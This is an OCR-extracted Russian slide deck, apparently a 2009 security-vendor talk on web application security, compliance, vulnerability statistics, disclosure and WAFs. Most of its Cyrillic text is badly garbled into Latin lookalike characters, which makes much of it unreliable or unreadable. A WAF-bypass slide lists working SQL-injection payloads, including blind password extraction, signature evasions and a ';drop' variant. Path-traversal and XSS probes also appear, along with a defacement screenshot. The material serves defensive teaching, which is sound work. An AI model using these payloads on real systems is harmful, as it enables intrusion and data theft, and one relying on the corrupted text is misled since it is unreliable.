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3aueM 3aHMMaTbCs 6e30NacHOCTbIO NMPUJTOXKEHUN? '

e Compliance/PerynatuBHbie
TpeboBaHus

e Co6cTrBeHHO ansa 6e3o0nacHoOCTM
e PR, MC & Business
e Just for FUN
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PerynatuBHble TpeboBaHusA

PCI DSS

e TpeboBaHMA K HAJIMUUIO 3ALMNTHbIX MexaHu3MoB (ayTeHTU(pukauyms,
pa3rpaHuyeHue aocrtyna, wumdppoBsaHue)

e Tpe6oBaHMA K KauyecTBy peanusauum (orcyrcrBue yassumocren OWASP

top 10)
e OTaenbHbIM CTaHAAPT ANA NAaTeXXHbix cuctem PA DSS k" E
0 NEPCORANbHBIX
152 ®3 «O nepcoHaNibHbIX AAHHbIX>» .
e B pamkax 58 npukasza ®CTIK BbiABUraloTcs TpeboBaHMA K 3aLlUUTHD
MexaHM3Mam

Ceptudpukaumna m atrecrtaumsa
e B PuMme Beau cebss kak pUMNASAHUH
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Cob6cTBeHHO 6e30nacHOCTb

® Hy>XHO nn MHe 3T0?...

9 About Neighbors | Yahoo! Local Neighbors - Mozilla F

fle Edt Vew Hgtoy Bookmarks Iools Help + ‘ ~ http [/ex pe rts.microsoft.fr/ - Q'
e - »-¢& (3} [ itpiocalyahos.comineipfe—
Google o Clserch - 4 8 ok O3} ¥ Amazon eBay Yahoo! News (1047)v

New User? Sign Up  Signin  Help

YaHOO!, LocAL

ion select group_concat(address,0x7, userkey,0x7,

L Remember Me Forgot your p

Meet Yahoo! Local Neighbq

Tell us where you live. Enter your zip c{

HACKED!

Yahoo! Local Neighbors is available in:

Chicago Area

Dallas Area

New York Area
Sacramento, CA

San Francisco Bay Area

732F10E714A9
db:bringit_1

What is Yahoo! Local Neighbors? Hi Master |: : Your S‘,’Stv?!’ﬂ OwNed By Turkish Hackers!

A practical discussion board for any topic - from n|
recommendations

< & rudebOy & & The_Bekir & & ASH o

Done

next target: microsoft.com

TiTHacK.CoM & SavSaK.CoM
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PerynatuBHble TpeboBaHusA

S42% 13,67%

i Compliant

 Non Compliant

% Sites (ALL) % Sites (Scans) % Sites (BlackBox) % Sites (WhiteBox)

CrteneHb cooTrBeTcTBUs PCI DSS (WASC)
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O6bem 6eacTeusa no PCI DSS

CreneHb coorBeTcTBUA PCI DSS ASV (WASC)

H Non Compliant

i Compliant




NMpuMmep: ataka Ha Heartland Payment Systems

CepBep HapywwmTens

Hapywwurenb

«CLWA npotus
F'oH3aneca n cOOOLWHUKOBY»
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CueHapum

° N3yunB koMmnaHmm m3 «Top 500>», o6Hapy>Xnnm ya3BMMOCTM KJlacca
SQL Injection Ha Web-cepBepax Tpex ns Hux

° C noMouwbio SQL-MHbEKUMUM NONTYYUJIN KOHTPOJ1b HaA HECKOJZIbKUMMU
cepBepaMu, YCTAaHOBWUJIN PYTKUTbDI

° Monyunnm AOCTYN K KJ1IO4YE€BbIM KOMNMOHEHTaAM MH(PPACTPYKTYPbI,
yCTaHOBUIUN CHUudepbl

[ ApeHpoBanun Web-cepBepbl B 6 permoHax, Ha KOTOpbleé aBTOMaTU4YEeCKM
3aKauMBaJZIMCb AlJaHHbleé MarHUTHOM nonocbl U PIN-6510ku

Cxema pencrtBoBana ¢ oktaobpsa 2006 r. no man 2008 r.

Bbino ckomnpometupoBaHo 130,000,000 kapr.

HecmoTpsa Ha npeaynpexaeHnsa o BO3MOXHOM dpoae, HPS
npu3Hana yTeuyky n onosecTura KfimeHToB TONIbKO B ssHBape 2009
JTO camas macwiTabHasa yTeyka, no ee ntoram HPS 6bina «3agHum
yucrnom» npusHaHa He coorBetcTBylowen PCI DSS
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The Web Hacking Incident Database (WASC)

C60p n o6paboTka NnybaiMUHbLIX NOC/NeaACcTBUA
mHumnpaeHtoB (CMU, paccnenoBaHue yroJioBHbIX

Aen, UHTepHer)

Knaccucdumkaumna, yuet nocneacrsmm

Attacked System -

Attacked Entity
Geography

Cost

Number of Records

Apply

WHID Date Attack
Entry Title D Occured Method
WHID 2010-58: 2010-58 April 1, Unknown
China journalist 2010
cub shuts
website after
attack
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Technology

Items Leaked

Outcome

Downtime

Reference

Attack
Source Attacked
Geography Entity Field

Media

Incident Description

The Foreign Correspondents
Club of China said on Friday
it had shut its website after
a burst of hacker attacks,
days after attacks on the
Yahoo email accounts of
some foreign journalists
covering China were
discovered.

"We do not know who is
behind the attacks or what
their motivation is,” the
dub's board said in an

emailed statement
SIS EE i e

Attacked
Entity
Geography
China




Hanayr?

100% -
92%
90% -
80% -
72%
70% -
80% - M Urgent
M Critical
50% 1 45%
& High
40% 37% M Medium
M Low
30% -
20% -
10% -
0% -

% Sites (ALL) % Sites (Scans) % Sites (BlackBox) % Sites (WhiteBox)

«Crtatuctuka yassumoctenn Web-npunoxeHun 3a 2008 rog» - WASC
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PR, MC & Business

NeMOHCTpauusa cepbe3HOro OTHOLIEeHUA K 3aKa34uuky

Yaep>aHue pblHKa

Bbixoa Ha HOBblI€ PbIHKU

Warning - visiting this web site may harm your computer!

Suggestions.

e Retumn to the prevous page and pick another resull.
* Try another search 1o find what you're looking for

Or you can continue to hitp:www.example.conv at your own risk. For detailed information about the
problems we found, wsit Google's Safe Browsing diagnostic page for this site

For more information about how to protect yoursell from harmful software onkine, you can visit
StopBadware o(g

¥ you are the owner of this web site, you can request a review of your site using Google's Webmaster Tools
More information abous the review process is available in Google's Webmaster Help Center

Advsory previded by Gox w;{l(
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POBITIVE TECHNOLOGES

CEPTUNFPUNKAT

3 seb-np

| C-Butpukc: Ynpasnenue caitom 8

Tectuposanue
BCTPOCHHBIX MEXAHWIMOB 3ALLUMTLI NPOAYKTA
“1C-Butpukc: Ynpasnenue caiitom 8"
NOATEEPAMNO X cooTseTcTeMe Tpebosanmam
Web Application Firewall Evaluation Criteria
MEXAYHAPOAHON OpraHu3aumMmn
Web Application Security Consortium.

\ ( |
Tenepanumuii LR\ \
Anpexrop A\ Maxcmos 10.B.




PR, MC & Business

NetCraft Market Share for Top Servers

w— Apache

— Hicrosoft
Sun

— g inx

w—Google

§

— Qe COM
NCER
w— lighttpd
e Other
—’;?-“'“3(;

Netcraft: 150000 canToB, HanyrasLUUCb BUPYCOB, OTKa3anucb o

ucnonb3oBaHua seb-cepeepos Microsoft IIS

02 oxTabpsa 2001 roga, 19:41 | TekcT: K. T

|

|

i

Julzo0l
Janz002
Julzooz
Janz003
Julzo03
Janz004
Julzood
Janz00s
Julzo05
Janz006
Julzo06
Jan2007 §
Julzo07?
Janz003
Julzo0s
Janz009
R

Netcraft onydnukoean pesynbTaThl CBOET0 €XKeMeCAYHOro MCCnegoBaHna, B KOTOPOM paccMaTpueaeTca

COOTHOWEHWE CUN MeXy pasnuyHbiMK Beb-cepeepamMmn U 0NepaunoHHbIMKU CUCTEMAMK, MCMONb3YeMbIMKU B
WHTEepHeTE.
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ABTOpUTETHaA
aHaNnMTN4YecKasi KoMrnaHus
npusbiBaeT BceX
He3amMeanuTesnbHO
OTKa3aTbCS OT
UCMNonb3oBaHUSA BeO-
cepBepoB Microsoft. B Hux
CTONBbKO OLWUOOK, YTO 3TO
npeancTaBnifieT pearibHYO
ONacHoOCTb

25 ceHTA6psa 2001 roaa, 15:45 | Teket: K. T.




Just for FUN

° Kak npaBuJ10, 3aHMMAIOTCH «4Yy>XXOoW>» 6e30nacHOCTbIO

° UccnepgoBaTtenun, Ayamtopbl/neHTecrepbl

® 3no6Hble xakepbl
dud3 1'm gOnn@ +0 HaXOr JOOr s1+E! MuH@Ha!

on Dmitriy Evteev Otnpasnero: [MH 02.03.2009 20:42
Komy: info@cetera.ru

Konus: Sergey V. Gordeychik; Alexander Anisimov

Tema: Yazeumoctu Cetera eCommerce

Nognucano: devteev@ptsecurity.com &I

.| Coo6uerme | |7 Dmitry Evteev.asc

_~
[Oo6pbiv Beuep! ]
Mpu npoeeaeHMM paboT AnA 3aKa3umka, ucnonb3ayouwlero Bawe peweHue Cetera

eCommerce, Hamu BblNK BbIABAEHDI YAZBMMOCTM B HEM. MOMaNyNCTa CBAMXKMUTECD C HAMMU,

yTo6bI MbI OTNpasunu Bam getanu. =
PT-2009-34: Buegpenne onepatopos SQL 8 AKmedia CMS

Mo cnenyroulei ccoiike Bbl MOXETE 03HAKOMWTBC!  Pejirunr onackocTi: Bbicokuit (7.5) AV:N/AC:L/Au:N/C:P/T:P/A:P
pasrnawenua: http://www.securitylab.ru/lab/disc  Crarye Ucnpasneto
K IMCcbMy NPUAOSKEH OTKPBITBIN Katod PGP ana Bo;  BexTop: Yaanetoiii
KOHOMACHUMANbHOCTU AanbHeWel nepenuckn. | O e dn s
WpoenTndukarop: PT-2009-34 HNara ysegomnennn: 25.03.2009
--------------- CVE ID: N/A [ara ncnpasnexns: 26.03.2009

Best Regards, Dmitry Evteev

Positive Technologies Co. research
Tel.: (495) 744-0144 ~Team
Web: http://www.ptsecurity.ru
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be3onacHoe Web-npuno>xxeHue !

YTOo Takoe

«be3zonacHoe Web-npuno>xxeHue?»
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be3onacHoe Web-npuno>xxeHue

® Bce oueHb, OYEeHb U OYM€Hb TPUBUAJIbHO...

lMpoeKkTnpoBaHue

Pa3paboTka

~POSITIVE TECHNOLOGIES




NMpoekTpoBaHue

] ABe 3apaum

e Bbibop HeObX0AMMbIX MYHKUMM B6e30nacHOCTU (3aLLUMTHbIX
MEeXaHNU3MOB)

e [IpoekTnpoBaHue pyHKUMN 6€30MacHOCTUN C YYETOM
TpeboBaHM 6€30MacHOCTHU

® Knaccnueckmnu npumep — NroCT/1S0O 15408 (Common
Criteria)

e HacTb 2. DyHKUMOHANbHble TpeboBaHMSA 6€30MacHOCTU
e Yactb 3. TpeboBaHusa aoBepust K 6€30mnacHoOCTu
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NMpoekTupoBaHue - Yuert TpeboBaHMn 6e3onacHOCTH

® Hanunune dpyHkumnn 6e3onacHoCTHn
e Hy>XHa NI MHe ayTeHTuduKayus...
e ... MPOTOKO/INPOBAHME...
e ...pa3rpaHnyeHmne gocrtyna...

® OrcyrcTBNEe PyHKLMN 6€30MaCHOCTU MOXKET ABJIATbCA
YA3BUMOCTbIO
e OWASP top 10 (2004)
« A8 2004 Insecure Storage
e WASC WSTCv2

 Insufficient Authentication
 Insufficient Authorization
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NMpoekTnpoBaHue - NCTOYHUKMU !

° OTpacneBble/rocyaapcrBeHHble U Me)XXAYHapoaHble
CTaHAapThbI

e PCI DSS

e PA DSS
e 152 «P3» - «HeTbIpexKHMxXune»

® TakCOHOMMM M KNnaccupukaumm
e OWASP top 10 (2004)
e WASC WSTCv2
e CWE

~POSITIVE TECHNOLOGIES



OWASP TOP 10

° A1l - Cross Site Scripting (XSS) Bonbme

° A2 - Injection Flaws OpVIeHTM pOBaH Ha
o A3 - Malicious File Execution pa3pa60TKy

° A4 - Insecure Direct Object Reference

° A5 - Cross Site Request Forgery (CSRF)

° A6 - Information Leakage and Improper Error Handling

° A7 - Broken Authentication and Session Management

° A8 - Insecure Cryptographic Storage

o A9 - Insecure Communications

° A10 - Failure to Restrict URL Access

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
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Web Application Security Consortium WSTCv2

Attacks

Abuse of Functionality

Weaknesses

Application

Brute Force

Buffer Overflow

Content Spoofing

Misconfiguration

Directory Indexing

Improper Filesystem

Appendix

Authors and
Contributors

Using the Threat
Classification

Threat Classification

Permissions

Improper Input Handling

Glossary

The Threat

Credential/Session
Prediction

Cross-Site Scripting

Improper Output
Handling

Information Leakage

Classifications
Evolution

Threat Classification
FAQ
Threat Classification

Cross-Site Request

Insecure Indexing

Forgery
Denial of Service

NTTp: rojects.webna

http://www.webappsec.org/projects/threat/

Insufficient
Anti-automation

Reference Grid

~POSITIVE TECHNOLOGIES

[Be rpynnbil:
YA3BUMOCTU U aTaKMW.

Hanbonee nonHoe
onncaHue npoodnem
oe3onacHocTn Web-
NMPUIIOXXeHUN

sec.org/ 1 nreat-ciassification-Working




Common Weakness Enumeration

1000 - Research Concepts
=% Improper Access of Indexable Resource (‘Range Error') - (118) Mcqep" blBal'Ol.U‘ee
=& Use of Insufficiently Random Values - (330)
- M Not Using a Random IV with CBC Mode - (329) onncaHume
=8 Insufficient Entropy - (331) -
=M@ Small Space of Random Values - (334) yﬂ3BV| MOCTEénN N aTak

=% PRNG Seed Error - (335)
- MB Use of Cryptographically Weak PRNG - (338)
- W& Predictability Problems - (340)

: % Eigﬁgg:g gfg::tovbaslﬁrev?g; SIDtth\/(?éu(sgil/fa)lues -(342) Pa3.|1 WiHble B3 rnﬂp‘bl

< Use of Invariant Value in Dynamicaily Changing Context - (344) H@ AAHHbBI€ — [NS
%%ms:gggfgo%{{?czl-p(f4§5I{esource Through its Lifetime - (664) pa3paﬁoT‘-IVIKOB,U
gmggir‘;?ccifer?tal(ch#?F:Jcl)nFl_o{/s;él?\dZa)nagement - (691) MccneAOBaTeneM “es

=& Protection Mechanism Failure - (693)
=& Insufficient Comparison - (697)

http://cwe.mitre.org/
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Paspabortka — peanusauma TtpeboBaHnm 6e3onacHoOCTM !

e Haubonee pacnpocrpaHeHHbIU UCTOYHMUK
npo6bnem

e HepoctaTouyHasd MHPOPMUPOBAHHOCTb
pa3paboTymMKoOB

e OLINBKM
e HeaoCcTaToOUHOE TeCcTupoBaHue

e Kak pewartb?
e BHeapeHune Secure SDLC oy v
e TecTupoBaHune, TECTUPOBAHUE, TeCTmpOBaHme
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Pa3pabotka - TectupoBaHue

At higher levels in ASVS, the
use of tools is encouraged
But to be effective, the tools
must be heavily tailored and
configured to the application
and framework in use

OWASP ASVS Levels

<

Manual
Review

Manual Design
Review

Manual Test
and Review

Tools

OWASP Application Security Verification Standards (ASVS)

Ha npakTuke:

CkaHepbl
YepHbin aumnk/Pentest
Benbin ALWUK

http://www.owasp.org/index.php/Category:OWASP_ Application Security Verification Standard Project
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TecTupoBaHue — 4YTO nyyiue?

100% 1

90%

80%

70%

60% -

50% -

40%

30% A

20% -

10%

0%

72%

45%

% Sites (ALL)
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CrouvmocTb

KavectBo

73% 75%

Puckn? @ Urgent

M Critical
M High

M Medium

M Low

% Sites (Scans) % Sites (BlackBox) % Sites (WhiteBox)

«Crtatuctuka yassumoctenn Web-npunoxeHun 3a 2008 rog» - WASC




dakTnUyeckKkoe yctpaHeHue ysa3BUMOCTEMN

Noanep>kka — noaaep>XaHue 3alULLEHHOro COCTOSIHUSA

Class of Attack | % resolved | severity
Information Leakage S0% urgent
Insufficient Authorization 42% urgent
SQL Injection 66% urgent
HTTP Response Splitting 83% urgent
Directory Traversal 31% urgent
Insufficient Authentication 26% critical
Cross-Site Scripting 55% critical
Abuse of Functionality 41% critical
Cross-Site Request Forgery 48% critical
Session Fixation 11% critical
Brute Force 8% high
Content Spoofing 26% high
HTTP Response Splitting 31% high
Information Leakage 34% high
Predictable Resource Location 31% high
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ﬂonnep)KKa — YA3BUMOCTU NOCJIE «K3alNyCKa> NMpPpUoXeHuns '

® 3akKa3uumk
e A YTO 3TO Takoe?

e JlIOroBOp Ha NoAAepXKy BKOYaeT
yCTpaHeHune ya3BMMoCTen?

e KTO BOO6LE Nncan 3ToT KoAa?

e Pa3paboTumnk
® DTO He YA3BUMOCTb!
e 4YTO 3TO 3a NNCbLMO?
o lllaHTaX?!
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nonnep)KKa — BOBJie4€HHbI€ CTOPOHDbI '

e Pa3paboTumnk
e NMNony4yaet nHpopMmauunro 06 ya3BMMOCTAX
e NnaHupyer ycTtpaHeHue
® YCTpaHAeT
¢ NHdpopMupyeT 3aKa3umKoB

e WccnepnoBaTtesnb
e O6Hapy)xmBaeT ya3BMMOCTH
e UHdbopmupyet paspabotumka/3akasumka
e NMNoMoraert ycTtpaHATb

e 3aka3uuk (Bnageneu/lMNMonb3oBartesb)
e XXaeT MuUNoCctn &7

¢ Bknrouaem Web Application Firewall
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YCcTpaHeHue ya3BMMOCTEN — NonbIiTKKU c(hopMmanmnsaumm

° “Full Disclosure Policy (RFPolicy) v2.0”, Rain Forest Puppy

http:/ /www.wiretrip.net/rfp/policy.html

° Steven M. Christey and Chris Wysopal. “"Responsible Vulnerability
Disclosure Process (Internet-Draft RFC).”

http://www.vulnwatch.org/papers/draft-christey-wysopal-vuln-disclosure-00.txt

° Organization for Internet Safety. “Guidelines for Security Vulnerability
Reporting and Response, Version 2.0.”

http:/ /www.oisafety.com/guidelines/secresp.html

° NIAC, “Vulnerability Disclosure Framework”,

http://www.dhs.gov/interweb/assetlibrary/vdwgreport.pdf
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NMapy cnoB o WAF

Hac amakyrom!

http://server/?id=6329&print=Y AxmyHe!!!

" WAF Webserver
s [http://server/?id=5351

http://server/?id=8234

Hopmanusauusa aaHHbIX
Decode HTML entities (e.g. &#99;, &quot;, &#xAA;)
Escaped characters (e.g. \t, \001, \xAA, \uAABB)
Null byte string termination

Mouck CUrHaTtypbl

I/(sel)(ect.+fr)(om)lis
http://server/?id=1+union+select... I(uni)(on.+sel)(ect)/is

http://server/?id=“><script>...

http:/Iserver/?id=/../..I../etc/passwd
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WAF - naHaueqa?

MpakTuka o6xona WAF: SQL Injection - H

NMpakTuka o6xoaa WAF: Blind SQL Injection

- Wcnonb3oBanue HTTP Parameter Fragmentation (HPF
« lpumMep yaA3BMMOro Koaa

Query("select * from table wherea=".$_GET['a']." and b= - I'IpuMep Pa3/IM4YHOI o npeacraBneHun 3anpocac O/1HOW CMbIC/I0OBOM Harpy3K0i7|
Query("select * from table wherea=".$_GET['a']." and b= 4
-S_GET['C']); select user from mysql.user where user = 'user' OR mid{(password,1,1)="*"

« Cnefyrowmi 3anpoc He No3BoNseT NPOBECTH aTaKy i 5 .-
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a

/?a=1+union+select+1,2/*

user = 'user' OR mid(password,1,1)=unhex('2a")
MpakTtuka o6xona WAF: SQL Injection - 06xopa curHartyp user = 'user' OR mid(password,1,1) regexp '[*]'

ruser = 'user' OR mid(password,1,1) like "*'

=  Mod_Security (2.5.9) — defaultrules i :
ruser = 'user' OR mid(password,1,1) rlike '[*¥]'

Pyraerca Ha:
/?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74 ruser = 'user' OR ord(mid(password,1,1))=42

Ho nponyckaer: 3 A, 1user = 'user’ OR ascii(mid(password,1,1))=42
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

ruser = 'user' OR find_in_set('2a’ hex(mid(password,1,1)))=1

Pyraerca Ha: /?id=1+OR+1=1 'user = 'user' OR position(0x2a in password)=1

: /?id= =
Ho nponyckaert: /?id=1+O0R+0x50=0x50 ruser = 'user' OR locate(0x2a,password)=1

Pyraercsa Ha: /?id=1+and+5=6
Y / ruser = 'user' OR substr(password,1,1)=0x2a

Ho nponyckaert: /?id=1+and+5!=6 , , )
ruser = 'user' OR substring(password,1,1)=0x2a

Pyraerca Ha: /?id=1;drop members

Ho nponyckaert: /?id=1;delete members

R s e e e et ) e —————
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KauecTtBO 3alMTbI !

The Web Application Security Scanner
Evaluation Criteria (WASSEC)

The Web Application Firewall Evaluation
Criteria (WAFEC)
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Cnacmb0 3a BHMMaHuel
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